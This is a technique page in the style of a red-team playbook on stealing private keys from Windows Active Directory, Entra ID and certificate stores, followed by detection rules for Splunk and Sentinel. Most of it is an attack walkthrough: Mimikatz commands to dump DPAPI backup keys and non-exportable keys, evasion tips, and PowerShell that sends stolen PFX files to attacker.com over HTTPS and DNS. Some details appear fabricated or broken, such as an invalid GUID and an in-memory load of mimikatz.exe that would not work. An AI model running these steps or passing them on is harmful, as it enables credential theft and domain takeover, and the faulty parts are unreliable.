MCADDF

CA-UNSC-006: Private Keys Theft

1. METADATA HEADER

Attribute Details
Technique ID CA-UNSC-006
MITRE ATT&CK v18.1 T1552.004 - Unsecured Credentials: Private Keys
Tactic Credential Access
Platforms Windows AD, Entra ID, Multi-Env (On-Premises & Cloud)
Severity Critical
CVE CVE-2021-33781 (PRT Key Extraction on Server 2019)
Author SERVTEP (Pchelnikau Artur)
File Path 03_Cred/CA-UNSC-006_Private_Keys.md
Technique Status ACTIVE
Last Verified 2026-01-06
Affected Versions Windows Server 2016, 2019, 2022, 2025; Windows 10, 11
Patched In Partial mitigation in Server 2022+; TPM enforcement required for full protection
Author SERVTEPArtur Pchelnikau

Note: Sections have been dynamically renumbered based on applicability. All sections required for a complete credential access attack are included.


2. EXECUTIVE SUMMARY

Concept

Private key theft is the unauthorized extraction and exfiltration of cryptographic private keys used for authentication, encryption, and digital signatures. Attackers exploit poorly secured key storage locations—such as DPAPI-encrypted master keys in Active Directory, Entra ID device keys in system memory, AD FS token signing certificates, and Windows certificate stores—to gain access to keys that unlock authentication tokens, enable forged credentials, or decrypt sensitive communications. This attack is particularly devastating in hybrid cloud environments where the same keys protect both on-premises and cloud-based services. The threat is amplified by the fact that stolen keys provide persistent, undetectable access because they bypass conditional access policies and leave minimal forensic evidence if exfiltrated correctly.

Attack Surface

Business Impact

Compromised private keys enable attackers to forge authentication tokens, bypass multi-factor authentication, impersonate privileged accounts, decrypt encrypted communications, and establish persistent covert access across hybrid cloud environments with minimal detection. Organizations exploiting stolen keys report unauthorized access lasting weeks or months before discovery, during which attackers can exfiltrate sensitive data, deploy ransomware, or pivot to cloud services with complete impunity.

Technical Context

Private key extraction typically requires local administrative access or exploitation of unpatched vulnerabilities (CVE-2021-33781). Modern Windows Server versions (2022+) with TPM 2.0 enforce non-exportable key storage, making extraction impossible in properly configured environments. However, legacy systems (Server 2016-2019) and systems without TPM enforcement remain fully vulnerable. Attack detection is challenging because legitimate administrative operations (certificate export, key rotation) generate identical event logs, requiring behavioral analysis and EDR-level API hooking to distinguish attacks from maintenance. Execution typically takes 5-15 minutes depending on key location and network conditions.


Operational Risk

Dimension Assessment Details
Execution Risk Medium Requires local admin (on-prem) or SYSTEM (cloud VM). Detectable if EDR monitors CryptUnprotectData API.
Stealth High Legitimate admin tools (Mimikatz, certutil) used; Event ID 4662 only logged if auditing explicitly enabled.
Reversibility No Stolen keys cannot be “un-stolen.” Domain backup key rotation invalidates stolen DPAPI keys but requires planned downtime.
Detection Likelihood Medium-High Event ID 4662 (object access), Sysmon process execution, File creation events; EDR hooks on CryptUnprotectData essential.

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.1.1, 5.1.2 Restrict access to cryptographic keys; enforce key rotation policies
DISA STIG WN10-CC-000320 Prevent export of private keys without a password; configure certificate export policies
CISA SCuBA CA-1, CA-2 Cryptographic Access Controls; require HSM or TPM storage for sensitive keys
NIST 800-53 SC-12, SC-13 Cryptographic Key Establishment and Management; protect private keys from unauthorized access
GDPR Art. 32, Art. 33 Security of Processing (encryption); mandatory breach notification if keys compromised
DORA Art. 9 Protection and Prevention; secure key management infrastructure required for financial entities
NIS2 Art. 21 Cyber Risk Management Measures; critical infrastructure must enforce key protection controls
ISO 27001 A.10.1, A.10.2, A.9.2.3 Cryptography Policy; Key Management; Management of Privileged Access Rights
ISO 27005 8.3.1 Risk Assessment; scenario includes “Compromise of Administration Interface” via stolen credentials

3. TECHNICAL PREREQUISITES

Required Privileges & Access

Scenario Required Privilege Access Method
DPAPI Backup Keys (AD) Domain Admin or SYSTEM (on domain controller) SMB/RPC to DC via port 445
Entra ID Device Keys Local SYSTEM (on hybrid-joined device) Direct registry/TPM access or WMI
AD FS Certificates ADFS Service Admin or Local Admin Network access to ADFS server port 443
Windows Certificate Store Local Admin or Certificate Private Key read ACL Direct certmgr access or CryptoAPI
SSH Private Keys User account ownership (~/.ssh/) File system access to home directory

Supported Versions

Windows Server & Client

Version DPAPI Extraction Device Key Extraction Certificate Store Export Notes
Server 2016 ✅ Full ✅ Full (Registry) ✅ Full No TPM enforcement; all methods viable
Server 2019 ✅ Full ✅ Full + CVE-2021-33781 (PRT Key) ✅ Full PRT key directly in memory without DPAPI
Server 2022 ✅ Full (if no TPM) ⚠️ Partial (TPM enforced) ✅ Full (non-TPM certs) TPM 2.0 makes device keys non-exportable
Server 2025 ✅ Full (if no TPM) ⚠️ Partial (TPM enforced) ✅ Full (non-TPM certs) Enhanced CNG protection; TPM recommended
Windows 10 ✅ Full ✅ Full (Registry) ✅ Full Hybrid-joined devices vulnerable
Windows 11 ✅ Full ⚠️ Partial (TPM preferred) ✅ Full (non-TPM certs) TPM recommended but not enforced

Required Tools & Components

Tool Version URL Purpose Min Version
Mimikatz 2.2.0+ https://github.com/gentilkiwi/mimikatz DPAPI key dump, cert extraction, PRT theft 2.2.0
SharpDPAPI 1.4.0+ https://github.com/GhostPack/SharpDPAPI C# DPAPI tool, credentials recovery 1.4.0
AADInternals 0.9.6+ https://github.com/Gerenios/AADInternals Entra ID device key extraction (PowerShell) 0.9.6
Impacket 0.10.0+ https://github.com/fortra/impacket DPAPI-NG, LSA secret extraction (Python) 0.10.0
certutil.exe Built-in Windows native utility Certificate export, inspection N/A (native)
OpenSSL 1.1.1+ https://www.openssl.org/ PEM/PFX conversion, key analysis 1.1.1

PowerShell Version & Modules

Component Requirement Details
PowerShell 5.0+ Version 7.0+ recommended for cross-platform compatibility
Pki Module Built-in (5.0+) Provides Export-PfxCertificate, Get-ChildItem Cert:\
.NET Framework 4.7.2+ Required for RSA key export operations

4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Step 1: Enumerate Certificates in Windows Store

Objective: Identify all certificates present in the local machine and user certificate stores to locate high-value targets (e.g., domain controller authentication certs, service account certs).

Command (All Versions):

# List all certificates in LocalMachine personal store
Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Select-Object Subject, Thumbprint, PrivateKeyExportPolicy, HasPrivateKey

# List all certificates in CurrentUser personal store
Get-ChildItem -Path Cert:\CurrentUser\My -Recurse | Select-Object Subject, Thumbprint, PrivateKeyExportPolicy, HasPrivateKey

# Check for exportable private keys
Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {$_.PrivateKey -ne $null} | Select-Object Subject, Thumbprint

Expected Output:

Subject                                           Thumbprint                               PrivateKeyExportPolicy HasPrivateKey
-------                                           ----------                               ---------------------- ---------------
CN=dc01.contoso.com                               ABC123DEF456...                         Exportable             True
CN=ADFS Service Account                           XYZ789ABC123...                         NonExportable          True
CN=Exchange Server                                QWE456RTY789...                         Exportable             True

What This Means:

Version Note: Command syntax identical across Server 2016-2025.


Step 2: Check DPAPI Backup Key Accessibility

Objective: Verify whether the attacker can access the DPAPI domain backup key (required for decrypting user-level DPAPI secrets across the domain).

Command (Domain-Joined Machine):

# Check if DPAPI backup key is accessible via RPC
Get-WmiObject -Query "SELECT * FROM Win32_EncryptionCertificate WHERE StoreLocation='LocalMachine'" -Namespace "root\cimv2\security\microsofttpm"

# Alternative: Check registry for DPAPI backup key presence
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"

# Verify access rights to backup key registry location
Get-Acl "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup" | Format-Table -AutoSize

Expected Output (Success):

Path   : Microsoft.PowerShell.Security\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup
Owner  : NT AUTHORITY\SYSTEM
Access : SYSTEM Allow Full Control
         Administrators Allow Read
         NETWORK SERVICE Deny All

What This Means:

Red Flags (Vulnerable Configuration):


Step 3: Identify Entra ID Device Keys (Hybrid-Joined Devices)

Objective: Locate Entra ID device keys stored in registry and assess TPM protection status.

Command (Server 2016-2019, No TPM):

# Check if device is Entra ID joined
dsregcmd /status

# Locate device key in registry (Server 2016-2019 without TPM)
Get-Item -Path "HKLM:\SOFTWARE\Microsoft\Identity\User\{User-SID}\AadDeviceTransportKey"

# Check TPM status
Get-WmiObject Win32_Tpm

# List TPM-protected keys
tpm.msc  # Open TPM Management Console GUI

Expected Output (Server 2016-2019, Vulnerable):

Device Name : DC01
Device ID   : a1b2c3d4-e5f6-7890-abcd-ef1234567890
Join Type   : Hybrid Domain Join
MDM Enrolled: Yes
Device Transport Key: Found in Registry (Non-TPM)

Expected Output (Server 2022+, Protected):

Device Name : DC01
Device ID   : a1b2c3d4-e5f6-7890-abcd-ef1234567890
Join Type   : Hybrid Domain Join
MDM Enrolled: Yes
TPM Status  : Version 2.0, Ready
Device Transport Key: TPM-Protected (Not Exportable)

What This Means:

Version Note:


Linux/Bash / Azure CLI Reconnaissance

Step 1: Check Entra ID Device Key via Azure CLI

Objective: From a non-Windows system or cloud shell, verify device registration and key status.

Command (Bash/Azure Cloud Shell):

# Check Entra ID device registration
az ad device list --query "[].displayName" -o table

# Get device details (requires Azure AD admin)
az ad device show --id {device-object-id} --query "{DisplayName:displayName, DeviceId:deviceId, TrustType:trustType}"

# Check PRT issuance status
az ad device show --id {device-object-id} --query "registrationDateTime"

Expected Output:

DisplayName  DeviceId                             TrustType
-----------  --------                             ---------
DC01         a1b2c3d4-e5f6-7890-abcd-ef12345678  Hybrid
SRV-ADFS     b2c3d4e5-f6a7-8901-bcde-f12345678901 Hybrid

What This Means:


Step 2: Check Certificate Store via OpenSSL (Linux Cross-Check)

Objective: If you export a .pfx file from Windows, analyze it on Linux to verify private key presence.

Command (Bash):

# List certificates in PFX file
openssl pkcs12 -in exported_cert.pfx -passin pass:password -noout -info

# Extract private key from PFX
openssl pkcs12 -in exported_cert.pfx -passin pass:password -nocerts -out private_key.pem

# Verify private key is valid
openssl rsa -in private_key.pem -text -noout

Expected Output:

MAC Iteration 1
MAC verified OK
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048
Certificate bag
PKCS7 Data
 1 certificate
 1 key
...
Private-Key: (2048 bit)

What This Means:


5. DETAILED EXECUTION METHODS AND THEIR STEPS


METHOD 1: DPAPI Backup Key Dump via Mimikatz (Windows Native)

Supported Versions: Windows Server 2016, 2019, 2022, 2025 (if no TPM enforcement)

Prerequisites: Domain Admin or SYSTEM privilege; network access to Domain Controller (SMB 445)


Step 1: Obtain SYSTEM Privilege (If Not Already Present)

Objective: Escalate from administrator to SYSTEM context required to access domain backup key via RPC.

Command (Admin PowerShell, All Versions):

# Start PowerShell as SYSTEM using PsExec
PsExec.exe -s powershell.exe

# Alternative: Use RunAs with SYSTEM token (if available)
# Or simply run: Invoke-Command -ScriptBlock { whoami } -RunAs System

Expected Output:

nt authority\system

What This Means:

OpSec & Evasion:

Troubleshooting:

References:


Step 2: Download or Compile Mimikatz

Objective: Obtain the Mimikatz binary, either pre-compiled or compile from source to avoid signature-based detection.

Command (Compiled from Source, Lowest Detection):

# Clone Mimikatz repository
git clone https://github.com/gentilkiwi/mimikatz.git

# Open Visual Studio and compile
# File > Open > mimikatz.sln
# Build > Build Solution (Release x64)

# Output binary: mimikatz\x64\Release\mimikatz.exe

Command (Pre-Compiled, Faster Execution):

# Download from GitHub releases (not recommended in production)
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip" -OutFile "C:\Temp\mimikatz.zip"
Expand-Archive -Path "C:\Temp\mimikatz.zip" -DestinationPath "C:\Temp\mimikatz"

Command (Server 2016-2019, In-Memory via PowerShell):

# Load Mimikatz in-memory (avoids disk write)
$MimikatzAssembly = [System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("C:\Temp\mimikatz.exe"))
Invoke-Expression "& {$MimikatzAssembly}"

Expected Output:

mimikatz 2.2.0 (x64) built on May 19 2022 15:36:36
Windows > 

What This Means:

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


Step 3: Dump DPAPI Backup Key from Domain Controller

Objective: Extract the master DPAPI backup key from the domain controller’s registry, which is required to decrypt all user-level DPAPI secrets across the domain.

Command (Mimikatz Interactive, Server 2016-2025):

mimikatz # privilege::debug
mimikatz # lsadump::backupkeys /system:DC01.contoso.com /export

Command (Mimikatz One-Liner, All Versions):

mimikatz.exe "privilege::debug" "lsadump::backupkeys /system:DC01.contoso.com /export" exit

Command (PowerShell Alternative, No Mimikatz):

# RPC-based backup key extraction (requires domain admin)
$BackupKeyPath = "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Cryptography\DPAPI\Backup"
$BackupKey = (Get-ItemProperty -Path "Registry::$BackupKeyPath" -Name "BackupKey" -ErrorAction SilentlyContinue).BackupKey
if ($BackupKey) {
    [System.IO.File]::WriteAllBytes("C:\Temp\backup_key.pvk", $BackupKey)
    Write-Host "Backup key exported to C:\Temp\backup_key.pvk"
}

Expected Output (Mimikatz):

RPC Connection:
  ServerHandle: {3a90a92c-8e72-4b9c-b462-d2d9e50f6c1e}
  Key GUID: {fcd2f6e1-d8f6-4516-9d7a-1c2b3d4e5f6g}
  Version: 1
  MasterKey: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6

[*] Exporting DPAPI backup keys to: backup_key_GUID.pvk
[+] Key 1 successfully exported

What This Means:

Red Flags (Successful Exploitation):

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


Step 4: Decrypt User-Level DPAPI Secrets Using Backup Key

Objective: Use the extracted backup key to decrypt DPAPI-encrypted secrets for any user account in the domain (e.g., stored WiFi passwords, RDP credentials, Chrome saved passwords).

Command (Mimikatz, All Versions):

mimikatz # dpapi::masterkey /in:C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Protect\{USERSID}\* /pvk:C:\Temp\backup_key.pvk /unprotect

Command (SharpDPAPI Alternative):

SharpDPAPI.exe credentials /pvk:C:\Temp\backup_key.pvk

Expected Output:

[*] Masterkey GUID: {a1b2c3d4-e5f6-7890-abcd-ef1234567890}
[*] Decrypting masterkey with supplied PVK...
[+] Decryption successful!
[+] Decrypted masterkey: d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0

[*] Enumerating Credential Manager secrets...
[+] Found credential: contoso\administrator
[+] Found credential: contoso\sqlservice
[+] Found WiFi password: "MyWiFiPassword123!"
[+] Found VPN credentials: "vpn.contoso.com:username:password"

What This Means:

Business Impact (Post-Exploitation): Once user-level secrets are decrypted, attacker can:

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


METHOD 2: Certificate Store Private Key Extraction via PowerShell & CertUtil (Exportable Certs)

Supported Versions: Windows Server 2016, 2019, 2022, 2025 (all versions)

Prerequisites: Local Admin privilege; target certificate must have “Exportable” private key policy


Step 1: Identify Exportable Certificates

Objective: Scan certificate stores for certificates with exportable private keys (easier targets than non-exportable certs).

Command (All Versions):

# Find all exportable certificates in LocalMachine store
$ExportableCerts = Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {
    ($_.PrivateKey -ne $null) -and 
    ($_.PrivateKey.CspKeyContainerInfo.Exportable -eq $true)
}

$ExportableCerts | Select-Object Subject, Thumbprint, @{Name="Exportable";Expression={$_.PrivateKey.CspKeyContainerInfo.Exportable}}

# Show high-value targets
$ExportableCerts | Where-Object {$_.Subject -match "DC|ADFS|Exchange|SQL|Service"} | Format-Table Subject, Thumbprint

Expected Output:

Subject                              Thumbprint                         Exportable
-------                              ----------                         ----------
CN=dc01.contoso.com                  ABC123DEF456ABC123DEF456ABC123     True
CN=ADFS Service Account              XYZ789ABC123XYZ789ABC123XYZ789     True
CN=Exchange Server                   QWE456RTY789QWE456RTY789QWE456     True

What This Means:

Red Flags (Vulnerable Configuration):

Version Note: Command identical across all versions.


Step 2: Export Exportable Certificate to PFX File

Objective: Export the certificate and its private key to a .pfx file that can be transferred and imported on attacker infrastructure.

Command (All Versions - PowerShell):

# Get the certificate
$Cert = Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {$_.Thumbprint -eq "ABC123DEF456..."}

# Export to PFX with password
$Password = ConvertTo-SecureString -String "P@ssw0rd123!" -AsPlainText -Force
Export-PfxCertificate -Cert $Cert -FilePath "C:\Temp\extracted_cert.pfx" -Password $Password -Force

Write-Host "Certificate exported to C:\Temp\extracted_cert.pfx"

Command (All Versions - CertUtil.exe Alternative):

# List certificates (find thumbprint first)
certutil -store my

# Export certificate to PFX
certutil -exportPFX -p "P@ssw0rd123!" -fo "C:\Temp\extracted_cert.pfx" ABC123DEF456...

Expected Output:

The command completed successfully.
Certificate exported to C:\Temp\extracted_cert.pfx
File size: 4,096 bytes

What This Means:

Version Note:

OpSec & Evasion:

Troubleshooting:

References:


Step 3: Transfer PFX to Attacker Infrastructure

Objective: Exfiltrate the .pfx file to attacker-controlled system where private key can be imported and used for authentication.

Command (HTTPS Transfer - Lowest Detection):

# Setup: Attacker runs HTTP listener
# On attacker machine: `python3 -m http.server --bind 0.0.0.0 8443`

# On target: Send file via HTTPS (TLS-encrypted upload)
$FilePath = "C:\Temp\extracted_cert.pfx"
$AttackerURL = "https://attacker.com:8443/upload"

$FileBytes = [System.IO.File]::ReadAllBytes($FilePath)
$Request = [System.Net.HttpWebRequest]::CreateHttp($AttackerURL)
$Request.Method = "POST"
$Request.ContentType = "application/octet-stream"
$Request.ContentLength = $FileBytes.Length
$RequestStream = $Request.GetRequestStream()
$RequestStream.Write($FileBytes, 0, $FileBytes.Length)
$RequestStream.Close()
$Response = $Request.GetResponse()

Command (SMB Share Transfer - For Internal Networks):

# Copy to network share (requires write access)
copy C:\Temp\extracted_cert.pfx \\attacker-system\share$\certs\extracted_cert.pfx

Command (DNS Exfiltration - Stealthy, Slow):

# For highly monitored networks
$FileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\extracted_cert.pfx")
$Base64 = [Convert]::ToBase64String($FileBytes)

# Send in chunks via DNS queries
for ($i=0; $i -lt $Base64.Length; $i+=32) {
    $Chunk = $Base64.Substring($i, [Math]::Min(32, $Base64.Length - $i))
    nslookup "$Chunk.attacker.com"
}

Expected Output (HTTPS):

HTTP/1.1 200 OK
Content-Length: 0

[*] File transferred successfully

What This Means:

Version Note: Network behavior identical across all Windows versions.

OpSec & Evasion:

Troubleshooting:

References:


Step 4: Import Certificate on Attacker Infrastructure

Objective: Import the stolen .pfx certificate into attacker’s system to use its private key for authentication impersonation.

Command (Linux/OpenSSL - Extract Private Key):

# Extract private key from PFX
openssl pkcs12 -in extracted_cert.pfx -passin pass:"P@ssw0rd123!" -nocerts -out private_key.pem

# Extract public certificate
openssl pkcs12 -in extracted_cert.pfx -passin pass:"P@ssw0rd123!" -nokeys -out public_cert.pem

# Verify key/cert pair matches
openssl pkey -in private_key.pem -pubout > private_key_pub.pem
openssl x509 -in public_cert.pem -pubkey -noout > cert_pub.pem
diff private_key_pub.pem cert_pub.pem  # Should be identical

Command (Windows - Import for Authentication):

# Import into Windows certificate store for use
$PfxPath = "extracted_cert.pfx"
$Password = ConvertTo-SecureString -String "P@ssw0rd123!" -AsPlainText -Force

# Import into LocalMachine Personal store
Import-PfxCertificate -FilePath $PfxPath -CertStoreLocation Cert:\LocalMachine\My -Password $Password -Exportable

# Verify import
Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.Subject -match "dc01.contoso.com"}

Command (Use for Azure Authentication - Token Generation):

# Use stolen certificate to authenticate to Azure as the service principal
$Cert = Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Thumbprint -eq "ABC123DEF456..."}
$ClientId = "{application-id}"  # Service principal app ID
$TenantId = "contoso.onmicrosoft.com"

# Connect with certificate
Connect-AzAccount -ServicePrincipal -Credential (New-Object System.Management.Automation.PSCredential(
    $ClientId,
    (ConvertTo-SecureString -String "cert:$($Cert.Thumbprint)" -AsPlainText -Force)
)) -TenantId $TenantId

# Now impersonate the service principal with full access
Get-AzSubscription

Expected Output (Linux):

MAC verified OK
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 2048
PKCS7 Data
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1+V5BzwA6VpXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
...
-----END RSA PRIVATE KEY-----

Expected Output (Windows Import):

PSComputerName    : localhost
Subject           : CN=dc01.contoso.com
Thumbprint        : ABC123DEF456ABC123DEF456ABC123
FriendlyName      : 
NotBefore         : 1/1/2023 12:00:00 AM
NotAfter          : 1/1/2025 12:00:00 AM

What This Means:

Post-Exploitation Impact:

Version Note: Works across all Windows versions and cloud platforms.

OpSec & Evasion:

Troubleshooting:

References:


METHOD 3: Non-Exportable Private Key Extraction via Mimikatz (CryptoAPI Key Dump)

Supported Versions: Windows Server 2016, 2019, 2022, 2025 (all versions; TPM-protected keys require additional techniques)

Prerequisites: Local Admin or SYSTEM privilege; target certificate must be in LocalMachine store

Difficulty: High (requires deep kernel knowledge or specialized tools)


Step 1: Enumerate Non-Exportable Certificates

Objective: Identify certificates marked “non-exportable” which require special techniques to extract (these are typically high-security targets like domain controllers, ADFS servers).

Command (All Versions):

# Find non-exportable certificates
$NonExportableCerts = Get-ChildItem -Path Cert:\LocalMachine\My -Recurse | Where-Object {
    ($_.PrivateKey -ne $null) -and 
    ($_.PrivateKey.CspKeyContainerInfo.Exportable -eq $false)
}

$NonExportableCerts | Select-Object Subject, Thumbprint, @{
    Name="KeyContainer";
    Expression={$_.PrivateKey.CspKeyContainerInfo.KeyContainerName}
} | Format-Table

# Get more details
foreach ($Cert in $NonExportableCerts) {
    Write-Host "Subject: $($Cert.Subject)"
    Write-Host "Key Container: $($Cert.PrivateKey.CspKeyContainerInfo.KeyContainerName)"
    Write-Host "Exportable: $($Cert.PrivateKey.CspKeyContainerInfo.Exportable)"
    Write-Host "Machine Keyset: $($Cert.PrivateKey.CspKeyContainerInfo.MachineKeySet)"
    Write-Host "---"
}

Expected Output:

Subject                              Thumbprint                         KeyContainer
-------                              ----------                         -----------
CN=dc01.contoso.com                  ABC123DEF456ABC123DEF456ABC123     {ABC-DEF-GHI-JKL}
CN=Microsoft Exchange Server Auth    XYZ789ABC123XYZ789ABC123XYZ789     {XYZ-789-ABC-123}

Subject: CN=dc01.contoso.com
Key Container: {ABC-DEF-GHI-JKL}
Exportable: False
Machine Keyset: True

What This Means:

Red Flags (High-Value Targets):

Version Note: Command identical across all versions.


Step 2: Use Mimikatz to Extract Non-Exportable Key

Objective: Use Mimikatz’s CryptoAPI hooking or kernel-level access to extract the private key bytes from memory/kernel, even though marked non-exportable.

Command (Mimikatz - crypto::certificates):

mimikatz # privilege::debug
mimikatz # crypto::certificates /systemstore:local_machine /store:my /export

Expected Output:

 0. CN=dc01.contoso.com
    Key Container  : {ABC-DEF-GHI-JKL}
    Provider Name  : Microsoft RSA SChannel Cryptographic Provider v1.0
    Provider Type  : 1
    Type           : AT_SIGNATURE (2)
    Exportable key : No
    Key size       : 2048

[*] Private Key exported to: dc01_ABC123DEF456.pvk

What This Means:

Command (Mimikatz - dpapi::capi):

mimikatz # dpapi::capi

Expected Output:

DPAPI CryptoAPI Information:
[+] DCAPI Provider Name: Microsoft RSA SChannel Cryptographic Provider v1.0
[+] Master Key: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Decrypted Private Key: [hex blob]

Version-Specific Notes:

Server 2016-2019:

Command works directly; keys always in plaintext/weak DPAPI encryption

Server 2022-2025 (Without TPM):

Same command works; keys in registry or unencrypted CSP storage
Risk: TPM might be configured; test with "tpm.msc"

Server 2022-2025 (With TPM Enforced):

Command may fail for TPM-protected keys with error: "TPM access denied"
Workaround: Use alternative technique (METHOD 4: WinRM Session Key Extraction)

OpSec & Evasion:

Troubleshooting:

References:


Step 3: Convert .PVK to Standard Formats (PEM/DER) for Portability

Objective: Convert Mimikatz-extracted .pvk file to industry-standard PEM or DER format for use on non-Windows systems.

Command (Linux/OpenSSL - PVK to PEM):

# Install OpenSSL (if needed)
apt-get install openssl

# Convert PVK to DER (binary format)
openssl rsa -inform PVK -in dc01_ABC123DEF456.pvk -outform DER -out dc01_private.der

# Convert DER to PEM (ASCII, portable)
openssl rsa -inform DER -in dc01_private.der -outform PEM -out dc01_private.pem

# Verify key is valid
openssl rsa -in dc01_private.pem -check -noout

Command (Windows - Use PVK as-is for Windows targets, or convert on Linux):

# If on Windows, copy .pvk file and use with signtool or custom code
# For maximum portability, convert on Linux first

# Verify PVK file is readable
[System.IO.File]::ReadAllBytes("dc01_ABC123DEF456.pvk") | Select-Object -First 16

Expected Output (Linux Conversion):

RSA Private Key Encryption Test successful
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA1+V5BzwA6VpXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
...
-----END RSA PRIVATE KEY-----

Expected Output (Verification):

RSA key ok
[1] RSA key test number 1
Key ok

What This Means:

Version Note: Conversion identical across all Windows/Linux versions.

Post-Conversion Uses:

OpSec & Evasion:

Troubleshooting:

References:


6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Atomic Red Team Test: T1552.004

Execution Command (PowerShell):

Invoke-AtomicTest T1552.004 -TestNumbers 1

Manual Execution (If Atomic Framework Not Available):

mimikatz.exe "privilege::debug" "lsadump::backupkeys /system:DC01 /export" exit

Cleanup Command:

Remove-Item -Path "backup_key_*.pvk" -Force
Invoke-AtomicTest T1552.004 -TestNumbers 1 -Cleanup

Expected Output (Successful Test):

[+] Backup key successfully exported to backup_key_{GUID}.pvk
[+] Test completed successfully

Detection During Test:

Reference: Atomic Red Team T1552.004 GitHub


7. SPLUNK DETECTION RULES

Rule 1: DPAPI Backup Key Extraction via Mimikatz

Rule Configuration:

SPL Query:

sourcetype=WinEventLog:Security EventID=4662 ObjectType="SecretObject" 
AccessMask="0x2" ObjectName="*BCKUPKEY*"
| stats count by SubjectUserName, Computer, ObjectName
| where count >= 1

What This Detects:

Manual Configuration Steps (Splunk Web UI):

  1. Log into Splunk Web → Search & Reporting (left menu)
  2. Click New Alert (top-right)
  3. Paste the SPL query above into the search box
  4. Run the search and verify results
  5. Click Save AsAlert
  6. Set Alert Name to “DPAPI Backup Key Extraction”
  7. Set Trigger Condition to Per Result (any matching event)
  8. Under Alert Actions:
    • Enable Send Email: your-soc@company.com
    • Enable Create Event: Incident response team
    • Enable Add to Incident Review: Critical severity
  9. Click Save Alert

False Positive Analysis:

Advanced Variants:

# Variant 1: Catch secondary lookups after extraction (multiple object accesses)
sourcetype=WinEventLog:Security EventID=4662 ObjectType="SecretObject" 
AccessMask IN ("0x2", "0x1") 
| stats count by SubjectUserName
| where count > 3

# Variant 2: Correlate with Mimikatz process execution
(sourcetype=WinEventLog:Security EventID=4688 CommandLine="*mimikatz*")
OR (sourcetype=WinEventLog:Security EventID=4662 ObjectName="*BCKUPKEY*")
| transaction SubjectUserName startswith="CommandLine"

Source: Splunk Research - Windows Certificate Services


Rule 2: Certificate Export from LocalMachine Store

Rule Configuration:

SPL Query:

sourcetype=WinEventLog:Security (EventID=4688 AND ProcessName="*certutil.exe") 
CommandLine IN ("*exportPFX*", "*export*", "*-exportPFX*")
| stats count by SubjectUserName, Computer, CommandLine

What This Detects:

Manual Configuration Steps:

  1. Splunk WebSearch & Reporting
  2. Click New Alert
  3. Paste query above
  4. Click Save AsAlert
  5. Name: “CertUtil Certificate Export Detected”
  6. Trigger: Per Result
  7. Add to alert actions:
    • Email to SOC
    • Auto-incident creation
    • Severity: High (certificate theft = high-value)
  8. Save Alert

False Positive Analysis:

Source: GitHub Splunk Security Content - CertUtil Detection


8. MICROSOFT SENTINEL DETECTION

Query 1: DPAPI Backup Key Access via AuditLogs

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName has "DPAPI" or OperationName has "BackupKey"
| where ActivityResult =~ "Success"
| project InitiatedBy, TargetResources, OperationName, ActivityDateTime, Result
| extend UPN = tostring(InitiatedBy.user.userPrincipalName)
| summarize Count=count() by UPN, OperationName, ActivityDateTime
| where Count >= 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel (search bar)
  2. Select your workspace → Left menu → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: DPAPI Backup Key Extraction Attempt
    • Description: Detects unauthorized attempts to extract DPAPI backup keys from Entra ID
    • Tactics: Credential Access
    • Techniques: T1552.004
    • Severity: Critical
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 24 hours
    • Suppress queries: ON (to avoid alert spam within same incident window)
  6. Incident settings Tab:
    • Enable Create incidents from alerts triggered by this analytics rule
    • Grouping:
      • Group alerts into single incident if: Same entity type AND Same alert severity
      • Grouping period: 5 hours
  7. Automated response Tab (optional):
    • Click + Add action
    • Select playbook: “Quarantine User Account” (if available in your workspace)
  8. Click Review + CreateCreate

Manual Configuration Steps (PowerShell):

# Connect to Sentinel
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

# Create the alert rule
$AlertRule = @{
    ResourceGroupName = $ResourceGroup
    WorkspaceName = $WorkspaceName
    DisplayName = "DPAPI Backup Key Extraction Attempt"
    Query = @'
AuditLogs
| where OperationName has "DPAPI" or OperationName has "BackupKey"
| where ActivityResult =~ "Success"
| project InitiatedBy, TargetResources, OperationName, ActivityDateTime, Result
| extend UPN = tostring(InitiatedBy.user.userPrincipalName)
| summarize Count=count() by UPN, OperationName, ActivityDateTime
| where Count >= 1
'@
